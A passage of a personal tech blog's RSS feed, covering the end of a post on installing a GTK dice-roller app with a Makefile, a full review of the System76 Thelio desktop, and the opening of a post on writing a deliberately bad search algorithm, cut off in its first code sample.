href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/data/codes.nora.gDiceRoller.desktop&#34;&gt;&lt;code&gt;codes.nora.gDiceRoller.desktop&lt;/code&gt;&lt;/a&gt; looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[Desktop Entry]&#xA;Name=Dice Roller&#xA;GenericName=Dice Roller&#xA;Comment=Roll dice of many different shapes and sizes in all possible combinations.&#xA;Categories=Game;GTK&#xA;Icon=codes.nora.gDiceRoller&#xA;Exec=codes.nora.gDiceRoller&#xA;Terminal=false&#xA;Type=Application&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This format is &lt;a href=&#34;https://developer.gnome.org/integration-guide/stable/desktop-files.html.en&#34;&gt;well documented&lt;/a&gt;, and supports a lot of nice features like translations. It should be placed in&#xA;&lt;code&gt;/usr/share/applications/&lt;/code&gt; or somewhere similar (depending on distribution).&lt;/p&gt;&#xA;&lt;p&gt;You&amp;rsquo;ll notice that the &lt;code&gt;Icon&lt;/code&gt; field uses the same name as the application&amp;rsquo;s full ID. That&#xA;is because the icon can also be installed on the system. &lt;code&gt;gDiceRoller&lt;/code&gt; provides an SVG&#xA;icon which can be scaled to any size, as well as raster icons at 64x64 and 128x128&#xA;resolutions. These are placed in &lt;code&gt;/usr/share/icons/hicolor/&amp;lt;size&amp;gt;/applications&lt;/code&gt;. These&#xA;icon names can then be used to set the window&amp;rsquo;s icon in the Glade file as well.&lt;/p&gt;&#xA;&lt;p&gt;GTK and desktop environments automatically find icons by name, but it&amp;rsquo;s sometimes&#xA;necessary to refresh their cache before they can actually find new icons.&lt;/p&gt;&#xA;&lt;p&gt;All of this is getting kind of complex. Time to introduce: the build system!&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-build-system&#34;&gt;The Build System&lt;/h1&gt;&#xA;&lt;p&gt;The build system, in this case using &lt;code&gt;make&lt;/code&gt;, lets us easily install and uninstall&#xA;the program from a system.&lt;/p&gt;&#xA;&lt;p&gt;So, &lt;strong&gt;why did I use &lt;code&gt;make&lt;/code&gt;&lt;/strong&gt;? Well, it&amp;rsquo;s &lt;em&gt;really&lt;/em&gt; simple and pretty much just does what&#xA;I want, and gets out of the way. In addition,&#xA;using a &lt;code&gt;make&lt;/code&gt;-based build makes it easier for other distributions to package the project&#xA;in the future. Here&amp;rsquo;s the whole &lt;code&gt;Makefile&lt;/code&gt; I used during early&#xA;development, which will act as the template for the rest of the project.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-make&#34; data-lang=&#34;make&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Just tell make that clean, install, and uninstall doesn&amp;#39;t generate files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.PHONY: clean clean-all install uninstall&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Build the application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;target/release/gDiceRoller : src&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cargo build --release&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Install onto the system&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;install : target/release/gDiceRoller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Install the binary&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cp target/release/gDiceRoller /usr/bin/codes.nora.gDiceRoller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cp data/codes.nora.gDiceRoller.desktop /usr/share/applications/codes.nora.gDiceRoller.desktop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cp data/codes.nora.gDiceRoller.svg /usr/share/icons/hicolor/scalable/applications/codes.nora.gDiceRoller.svg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Remove from the system&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uninstall :&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -f /usr/bin/codes.nora.gDiceRoller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -f /usr/share/applications/codes.nora.gDiceRoller.desktop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -f /usr/share/icons/hicolor/scalable/applications/codes.nora.gDiceRoller.svg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Rebuild from scratch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clean-all : clean&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cargo clean&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Does nothing, yet&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clean :&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this &lt;code&gt;Makefile&lt;/code&gt;, it&amp;rsquo;s possible to simply:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;make&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo make install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and have a totally working installation. To fix a few issues with the system not picking&#xA;up on the new icon, adding &lt;code&gt;touch /usr/share/icon/hicolor&lt;/code&gt; to the &lt;code&gt;install&lt;/code&gt; target after&#xA;installing the icon does the trick.&lt;/p&gt;&#xA;&lt;p&gt;Then, if you want to remove the program:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo make uninstall&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;&#xA;&lt;p&gt;NOTE: This Makefile is incomplete; please check out the one used by the actual project&#xA;as a better template &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/master/Makefile&#34;&gt;here&lt;/a&gt;&#xA;and/or wait for the next post to explain all the aspects of that Makefile.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1 id=&#34;conclusion-and-recap&#34;&gt;Conclusion and Recap&lt;/h1&gt;&#xA;&lt;p&gt;gDiceRoller isn&amp;rsquo;t a groundbreaking application, but I hope it demonstrates how easy it is&#xA;to make useful, non-web-based software. I only showed how to install the software on a&#xA;dev machine, but in the next few posts, I&amp;rsquo;ll look at Flatpak, Snap, .deb packages, and&#xA;even Windows packaging. GTK is a cross-platform toolkit, after all!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>System76 Thelio: A Review</title>
      <link>https://nora.codes/post/system76-thelio-a-review/</link>
      <pubDate>Sat, 23 Feb 2019 11:31:34 -0600</pubDate>
      <guid>https://nora.codes/post/system76-thelio-a-review/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;The bottom line&lt;/strong&gt;: Thelio, System76’s new “open hardware” desktop, is a&#xA;small, beautiful, and powerful desktop computer that hits every high point&#xA;anyone could have expected, faltering only in the inherent limitations of its&#xA;small size.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;: pretty, small, performant, well cooled, well supported, and easy to&#xA;modify&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;: somewhat noisy, no front I/O, not as many USB ports as one might&#xA;desire&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/front_with_postcard.webp&#34;&gt;&lt;img src=&#34;./images/thelio/front_with_postcard.webp.thumb&#34; alt=&#34;The front and wooden side of the Thelio thelio-r1 with the included post-card.&#34;&gt;&lt;/a&gt;&#xA;The smallest Thelio, thelio-r1, was made available in January 2019.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;In November 2018, System76, renowned Linux laptop company, announced the Thelio&#xA;though an ARG-like process of story-based videos. The product itself was rarely&#xA;featured, but a &lt;a href=&#34;https://www.phoronix.com/scan.php?page=news_item&amp;amp;px=System76-Thelio-Specs&#34;&gt;good deal of&#xA;hype&lt;/a&gt;&#xA;built up around the whole affair. When specs and a configurator were finally&#xA;made available, along with the details of the open source I/O add-in board and&#xA;the manufacturing process that System76 was spinning up in Colorado, that hype&#xA;appeared at least partially justified. I&amp;rsquo;ve had a Thelio for a couple of weeks&#xA;now, and it&amp;rsquo;s pretty much lived up to its manufacturers lofty promises.&lt;/p&gt;</description>
      <content:encoded>&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;The bottom line&lt;/strong&gt;: Thelio, System76’s new “open hardware” desktop, is a&#xA;small, beautiful, and powerful desktop computer that hits every high point&#xA;anyone could have expected, faltering only in the inherent limitations of its&#xA;small size.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;: pretty, small, performant, well cooled, well supported, and easy to&#xA;modify&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;: somewhat noisy, no front I/O, not as many USB ports as one might&#xA;desire&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/front_with_postcard.webp&#34;&gt;&lt;img src=&#34;./images/thelio/front_with_postcard.webp.thumb&#34; alt=&#34;The front and wooden side of the Thelio thelio-r1 with the included post-card.&#34;&gt;&lt;/a&gt;&#xA;The smallest Thelio, thelio-r1, was made available in January 2019.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;In November 2018, System76, renowned Linux laptop company, announced the Thelio&#xA;though an ARG-like process of story-based videos. The product itself was rarely&#xA;featured, but a &lt;a href=&#34;https://www.phoronix.com/scan.php?page=news_item&amp;amp;px=System76-Thelio-Specs&#34;&gt;good deal of&#xA;hype&lt;/a&gt;&#xA;built up around the whole affair. When specs and a configurator were finally&#xA;made available, along with the details of the open source I/O add-in board and&#xA;the manufacturing process that System76 was spinning up in Colorado, that hype&#xA;appeared at least partially justified. I&amp;rsquo;ve had a Thelio for a couple of weeks&#xA;now, and it&amp;rsquo;s pretty much lived up to its manufacturers lofty promises.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-exterior&#34;&gt;The Exterior&lt;/h2&gt;&#xA;&lt;p&gt;The smallest Thelio, designated “thelio-r1”, stands 32 centimeters tall, 20&#xA;centimeters wide, and 28 centimeters deep, coming to only a total of 18 liters&#xA;in volume, a good deal smaller than even the tiniest commercial full-GPU mITX&#xA;form factor cases, most of which are at least 22 liters.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/side_with_postcard.webp&#34;&gt;&lt;img src=&#34;./images/thelio/side_with_postcard.webp.thumb&#34; alt=&#34;The wooden side with the post-card and a 6inch/15cm ruler.&#34;&gt;&lt;/a&gt;&#xA;&lt;code&gt;thelio-r1&lt;/code&gt; is absolutely tiny. The ruler in this photo is 15cm, or 6 inches.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;The front, sides, and top are all made of powder coated metal, colored a deep&#xA;and even black. On the front and metal side are subtle laser-etched designs: a&#xA;System76 logo and a Colorado mountainscape, respectively. Covering much of the&#xA;right side and the right portion of the front is the wrap-around wood accent&#xA;panel, which can be purchased in either dark maple or “high-contrast” cherry.&lt;/p&gt;&#xA;&lt;p&gt;The maple on my unit blends well with my dorm room furniture and will match&#xA;with any natural or dark-colored desk or media console. For rooms with a&#xA;lighter color scheme, the cherry version might be a better option. The wood is&#xA;rough and not finished with a varnish or stain, which could leave it vulnerable&#xA;to damage over time.&lt;/p&gt;&#xA;&lt;p&gt;Aside from a single LED-lit metal button, the front, top, and sides have no&#xA;cutouts or ports. The case comes down in the front and back to touch the&#xA;surface the computer rests upon, though four small rubber posts on the&#xA;underside take the weight of the system itself. Between those areas there is a&#xA;small cut-out section to permit sufficient airflow to the underside intake fan.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/rear_panel.webp&#34;&gt;&lt;img src=&#34;./images/thelio/rear_panel.webp.thumb&#34; alt=&#34;The rear panel of the Thelio.&#34;&gt;&lt;/a&gt;&#xA;The rear panel provides all the I/O on the entire system.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;The choice of motherboard and GPU determines the back panel’s ports and&#xA;configuration. My AMD model has&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HDMI and DisplayPort from the motherboard&lt;/li&gt;&#xA;&lt;li&gt;line out, line in, and headphone out&lt;/li&gt;&#xA;&lt;li&gt;Gigabit Ethernet&lt;/li&gt;&#xA;&lt;li&gt;2xUSB type A 3.1 gen 1&lt;/li&gt;&#xA;&lt;li&gt;2xUSB type A 3.1 gen 2&lt;/li&gt;&#xA;&lt;li&gt;Video connectors from the GPU&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The Intel version also includes a USB type C port, but either way, the small&#xA;form factor will mean a shortage of USB ports. I recommend placing a USB 3.1&#xA;gen 2 hub either atop the machine or on your desk or console just beside it for&#xA;easy access.&lt;/p&gt;&#xA;&lt;p&gt;Having machined cutouts for the back panel I/O is a boon for reliability and&#xA;durability, but it does make upgrading the motherboard very difficult. On the&#xA;other hand, System76 has chosen relatively high-end motherboards which are&#xA;likely to be supported for some time; AMD in particular plans to release new&#xA;CPUs on Socket AM4 as far out at 2022, making Thelio a long-term investment for&#xA;those willing to pull out the guts of their machines once or twice.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-mechanics&#34;&gt;The Mechanics&lt;/h2&gt;&#xA;&lt;p&gt;Clustering all the ports on the back contributes to the overall&#xA;clean and modern aesthetic, as well as making it very easy to remove the entire&#xA;wood and aluminum shroud. It requires only the removal of four tool-free thumb&#xA;screws, which are powder-coated to the same color as the case. Once these are&#xA;taken out, the whole case shroud simply slides up on a set of extruded rails&#xA;that fit like a glove and are simple to slot back into place.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/metal_side.webp&#34;&gt;&lt;img src=&#34;./images/thelio/metal_side.webp.thumb&#34; alt=&#34;The metal side of the Thelio, showing the mountainscape engraving.&#34;&gt;&lt;/a&gt;&#xA;Thelio&amp;rsquo;s metal shroud is decordated with a beautiful stylized mountainscape, echoing its&#xA;Colorado origins.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;The metal power button connects to the rest of the system via a set of four&#xA;pins which slide in and out of their sockets with ease, comfortably long after&#xA;the shroud has settled into its grooves; there’s little danger of bending them&#xA;or missing the socket during shroud replacement.&lt;/p&gt;&#xA;&lt;p&gt;Within is a durable and competently engineered mini-ITX system. My unit came&#xA;with a Radeon RX580 GPU and 16GB of RAM, and everything was properly cable&#xA;managed, including the thin and bend-sensitive coaxial cables which feed into&#xA;the WiFi and Bluetooth antennae. Because the right side panel is wood, not&#xA;metal, these antennae can be entirely internal, leaving the exterior smooth and&#xA;durable. The chassis design preempts much of the damage than occurs in typical&#xA;systems when shipped with metal cross-bars and a well-secured GPU.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/cable_management.webp&#34;&gt;&lt;img src=&#34;./images/thelio/cable_management.webp.thumb&#34; alt=&#34;The interior of the Thelio, showing off the excellent cable management.&#34;&gt;&lt;/a&gt;&#xA;The interior cables are well-managed, which is important in such a tiny space.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;The case design centers on combination of miniaturized computing and modular&#xA;storage. All systems ship with an NVMe drive mounted directly on the&#xA;motherboard, and include four slots for SATA 6GB/s hard drives. These hard&#xA;drives, as well as all the system fans, connect to a custom built open hardware&#xA;I/O board which routes SATA traffic and performs smart fan management.&lt;/p&gt;&#xA;&lt;p&gt;The I/O board is reliable and low-latency, not impacting the read speed or seek&#xA;times on my Samsung 850 or 860 EVO SSDs in any detectable way. It also provides&#xA;enough juice via the SATA connectors to run four old and inefficient 1TB hard&#xA;drives simultaneously. Unfortunately, at the time of writing, System76 does not&#xA;make a configuration utility available for this I/O board, although they do&#xA;provide kernel modules which allow Linux users to monitor temperatures and&#xA;fanspeeds.&lt;/p&gt;&#xA;&lt;p&gt;The drive slots use rails designed to work with the 16 included&#xA;vibration-isolating thumb screws, stored in specially machined screw-holes&#xA;inside the chassis. Once inserted, some significant force is required to remove&#xA;a drive, but not so much as to place the drive cage at risk of damage.&#xA;Unsurprisingly, given the small volume of the system, the cage is too small to&#xA;support 3.5 inch drives.&lt;/p&gt;&#xA;&lt;h2 id=&#34;thermal-and-acoustic-performance&#34;&gt;Thermal and Acoustic Performance&lt;/h2&gt;&#xA;&lt;p&gt;A positive-pressure system fed through a&#xA;filtered fan below the chassis provides cooling air to the CPU, which exhausts&#xA;through a massive channeled fin cooler, and GPU, which blows out into the&#xA;chassis. This reduces the potential of the system internals to build up dust as&#xA;well as ensuring that the maximum amount of air passes through the heat&#xA;exchanger, though it does have the potential to starve the GPU fans of&#xA;room-temperature air.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/bottom_vent.webp&#34;&gt;&lt;img src=&#34;./images/thelio/bottom_vent.webp.thumb&#34; alt=&#34;The bottom intake of Thelio, showing its Unix epoch solar system.&#34;&gt;&lt;/a&gt;&#xA;Both of the Thelio&amp;rsquo;s vents show the solar system at the time of the UNIX epoch. The filter&#xA;on this bottom intake does a good job even in the very dusty environment of my dorm.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Though not as effective as liquid cooling, this system&#xA;proved more than adequate for my system. I was unable to force the system’s&#xA;temperature more than about 30℃ above ambient, providing plenty of headroom for&#xA;voltage increases for those who wish to overclock. GPU temps were not nearly as&#xA;good on my RX 580, reaching almost 50℃ above ambient, but I observed no thermal&#xA;throttling. This likely depends on the CPU and GPU configured; luckily, the&#xA;Thelio supports all tiers of current-gen AMD Ryzen and Intel Core CPUs and&#xA;several Nvidia and AMD GPUs.&lt;/p&gt;&#xA;&lt;p&gt;Of course, no air-cooled system can be as quiet&#xA;as a good water cooling solution, but the Thelio manages to keep its acoustic&#xA;load low and low-pitched thanks to the two large, slow-spinning fans and the&#xA;efficiency with which it uses the air they move. Because of the&#xA;positive-pressure design, it can’t spin down its fans when cool, so the system&#xA;is audible all the time, but it’s never obnoxious and rarely ramps up, even&#xA;under load.&lt;/p&gt;&#xA;&lt;h2 id=&#34;customer-experience&#34;&gt;Customer Experience&lt;/h2&gt;&#xA;&lt;p&gt;The worst part of my Thelio experience was the&#xA;waiting. Not that there was so much of it, mind you; System76 custom-builds&#xA;each order in their Colorado factory and ships via UPS, so it arrived about 3&#xA;weeks after I ordered it, including the 5-day shipping, which can be upgraded.&#xA;System76’s web-based configurator provides many options ranging from low-end to&#xA;ultra-powered for CPU, GPU, storage, main memory, and even warranty. The&#xA;company even includes the option to get a shipping label to a recycling&#xA;facility for an old computer the Thelio might be replacing.&lt;/p&gt;&#xA;&lt;p&gt;The Thelio’s&#xA;packaging did stand out in my campus mail center, with a huge stylized moon&#xA;dominating the package’s top along with the word “Thelio” and the System76&#xA;logo. Inside was a simple postcard, some instructions on how to get customer&#xA;support, and a great deal of what felt to me like very firm foam securing the&#xA;system in place. The cardboard provides hand-holds for carrying, a welcome&#xA;feature during my trek back across my frozen campus.&lt;/p&gt;&#xA;&lt;h2 id=&#34;software&#34;&gt;Software&lt;/h2&gt;&#xA;&lt;p&gt;The included&#xA;Pop!_OS, despite having some of the worst naming on the Linux desktop today,&#xA;provides a great Ubuntu-based experience with minimal but well-thought-out&#xA;modifications to the GNOME 3 desktop. System76 included the drivers for my AMD&#xA;RX 580 and a firmware update program for future use, though no updates were&#xA;needed upon arrival. Unfortunately, there is no configuration utility for the&#xA;custom I/O board, though while the provided open source drivers do make fan&#xA;speed measurements available to the OS.&lt;/p&gt;&#xA;&lt;p&gt;The lack of the Ubuntu Snap subsystem&#xA;by default makes access to many proprietary apps more difficult than necessary.&#xA;On the other hand, the product is targeted at developers, and installing and&#xA;using Snap support is trivial from the command line, so this isn’t too much of&#xA;a black mark.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/thelio/drive_cage.webp&#34;&gt;&lt;img src=&#34;./images/thelio/drive_cage.webp.thumb&#34; alt=&#34;The drive cage of my Thelio with one drive out of its slot.&#34;&gt;&lt;/a&gt;&#xA;Drives are inserted on rails using vibration-isolating gromits. If only it were this easy&#xA;to get RAID working!&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;With so many drive slots, a graphical configuration utility for&#xA;software RAID would be great; unfortunately, GNOME Disks no longer supports&#xA;creating mdraid volumes, though it can manage them. Again, this is probably&#xA;OK, as mdraid is simple to configure from the command line, though I did find&#xA;that the motherboard used in the AMD model does not play well with&#xA;partition-on-mdraid configurations; rather, each mdraid member needs to be&#xA;partitioned and those partitions set up as members of the mdraid array. This is&#xA;common, but disappointing.&lt;/p&gt;&#xA;&lt;h2 id=&#34;price&#34;&gt;Price&lt;/h2&gt;&#xA;&lt;p&gt;For all this, my Thelio weighed in at a hefty&#xA;$1,866, plus $31 for 5-day UPS shipping. That’s not a trivial amount of money;&#xA;I can easily build a respectable gaming computer for a quarter of that, and&#xA;even a decent laptop workstation from Lenovo is just pushing $1,500. Larger&#xA;Thelio models like the Thelio Major and Thelio Massive, which starts at $3000,&#xA;and even higher-end configurations of the thelio-r1, can reach absolutely&#xA;astronomical prices.&lt;/p&gt;&#xA;&lt;p&gt;After doing some math, though, it looks like the margins&#xA;aren’t particularly high, especially for the level of integration and service&#xA;provided. The Thelio costs about 18% to 22% more than the prices of the&#xA;individual components; $200 dollars more than an almost equivalent PC Part&#xA;Picker build for the base model, or about $400 more for my model. This gap&#xA;widens only slightly with the ultra-high-end models.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-verdict&#34;&gt;The Verdict&lt;/h2&gt;&#xA;&lt;p&gt;System76’s&#xA;new “open hardware” desktop, is a small, beautiful, and powerful desktop&#xA;computer that hits every high point anyone could have expected, faltering only&#xA;in the inherent limitations of its small size. It’s pretty, it’s tiny, it’s&#xA;fast, it’s well cooled, and the software support is top-tier. Despite being&#xA;somewhat noisy and lacking front I/O, it’s certainly a good machine for any&#xA;Linux user who can swallow the 18% - 22% upcharge for assembly and custom&#xA;engineering.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gono-go&#34;&gt;Go/No Go&lt;/h2&gt;&#xA;&lt;p&gt;If you are a Linux user looking for a durable, competently engineered,&#xA;and beautiful desktop PC, the System76 Thelio is for you, so long as you have a&#xA;flexible budget.&lt;/p&gt;&#xA;&lt;p&gt;If you don’t currently use Linux and want to get started, the&#xA;Thelio can still do what you need, but you might want to go with stock Ubuntu&#xA;instead of Pop!_OS. If you’re a Mac OS developer who is looking to switch to&#xA;Linux, I suggest checking out Mike Dominic’s &lt;a href=&#34;https://dominickm.com/yo-thelio/&#34;&gt;review&lt;/a&gt;&#xA;for a Mac user&#xA;perspective.&lt;/p&gt;&#xA;&lt;p&gt;If you’re a software developer who likes to game, the Thelio is a&#xA;no-brainer. With the off-the-shelf hardware and excellent expandability, you&#xA;can easily add enough storage for even the largest games and, if needed, dual&#xA;boot Windows.&lt;/p&gt;&#xA;&lt;p&gt;If you need more than one PCI-e expansion card, more than four&#xA;USB ports, or more than about 12 TB of storage, you might want to look&#xA;elsewhere, though the Thelio Major or Thelio Massive might meet your needs.&lt;/p&gt;&#xA;&lt;p&gt;If&#xA;you’re comfortable building your own PCs and don’t need to fit a powerful&#xA;system into a small space, you can save a buck by going that route instead, and&#xA;probably end up with better thermals.&lt;/p&gt;&#xA;&lt;p&gt;Finally, if you need workstation power&#xA;on the go, the Thelio is simply the wrong product, but System76, Lenovo, and&#xA;Dell all offer excellent Linux-supporting portable workstations.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Let&#39;s Build a Terrible Search</title>
      <link>https://nora.codes/post/lets-build-a-terrible-search/</link>
      <pubDate>Sun, 03 Feb 2019 21:09:52 -0600</pubDate>
      <guid>https://nora.codes/post/lets-build-a-terrible-search/</guid>
      <description>&lt;p&gt;Searching: the second-most studied problem in computer science, next to sorting (or so&#xA;it would seem from my CS curriculum). There are pretty good methods for doing it, too;&#xA;for example, everyone&amp;rsquo;s favorite, binary search, can find an item in a list of 260,000&#xA;possibilities after looking at just 18 items (the base-2 logarithms of the size of the&#xA;array).&lt;/p&gt;&#xA;&lt;p&gt;Even the most obvious search, linear search, isn&amp;rsquo;t terrible, especially for problem&#xA;sizes which can fit in memory close to the CPU, like low-level cache. But, fast&#xA;programs are boring. I want a &lt;em&gt;bad&lt;/em&gt; search! So, let&amp;rsquo;s get there.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Searching: the second-most studied problem in computer science, next to sorting (or so&#xA;it would seem from my CS curriculum). There are pretty good methods for doing it, too;&#xA;for example, everyone&amp;rsquo;s favorite, binary search, can find an item in a list of 260,000&#xA;possibilities after looking at just 18 items (the base-2 logarithms of the size of the&#xA;array).&lt;/p&gt;&#xA;&lt;p&gt;Even the most obvious search, linear search, isn&amp;rsquo;t terrible, especially for problem&#xA;sizes which can fit in memory close to the CPU, like low-level cache. But, fast&#xA;programs are boring. I want a &lt;em&gt;bad&lt;/em&gt; search! So, let&amp;rsquo;s get there.&lt;/p&gt;&#xA;&lt;h2 id=&#34;linear-search&#34;&gt;Linear Search&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the Python (&amp;ldquo;executable pseudocode&amp;rdquo;) for a basic linear search:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; pythonseek(array, x):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; 